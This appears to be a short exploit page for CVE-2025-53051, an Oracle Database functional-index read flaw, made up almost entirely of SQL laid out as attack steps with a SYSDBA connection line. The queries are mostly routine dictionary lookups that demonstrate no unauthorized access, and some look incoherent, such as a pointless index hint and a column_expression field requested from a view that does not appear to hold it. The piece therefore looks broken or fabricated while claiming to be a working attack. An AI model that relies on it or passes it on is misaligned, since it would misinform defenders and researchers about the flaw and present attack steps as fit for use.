CVE-2025-53051 Oracle Database RDBMS函数索引未授权读取漏洞

-- CVE-2025-53051 PoC: Oracle Database RDBMS Functional Index Unauthorized Read Access -- This PoC demonstrates how an attacker with SYSDBA privilege can exploit -- the vulnerability in RDBMS Functional Index component to read unauthorized data. -- Note: Requires SYSDBA privileges and network access via Oracle Net. -- Step 1: Connect to the target Oracle Database with SYSDBA privileges -- Using SQL*Plus or any Oracle client tool -- sqlplus sys/password@target_host:1521/SID as sysdba -- Step 2: Explore the functional index data accessible through the vulnerable component -- Query the functional index metadata and data that should be restricted SELECT index_name, table_name, index_type, funcidx_status FROM dba_indexes WHERE index_type = 'FUNCTION-BASED NORMAL' ORDER BY owner, index_name; -- Step 3: Attempt to read data from functional indexes that may contain -- unauthorized accessible data subsets SELECT /*+ INDEX(t idx_func_expr) */ * FROM (SELECT t.*, DBMS_ASSERT.SIMPLE_SQL_NAME(t.table_name) AS validated_name FROM dba_tables t WHERE ROWNUM <= 100) src; -- Step 4: Extract data through functional index expressions -- The vulnerability allows reading a subset of data that should be restricted SELECT po.owner, po.index_name, po.table_name, po.column_expression FROM dba_ind_columns po WHERE po.index_name IN ( SELECT index_name FROM dba_indexes WHERE index_type LIKE 'FUNCTION%' ); -- Step 5: Leverage Oracle Net protocol to extract functional index data -- Using DBMS_METADATA or similar packages to extract sensitive index information SELECT DBMS_METADATA.GET_DDL('INDEX', index_name, owner) FROM dba_indexes WHERE index_type = 'FUNCTION-BASED NORMAL' AND owner NOT IN ('SYS', 'SYSTEM'); -- Mitigation: Apply Oracle Critical Patch Update October 2025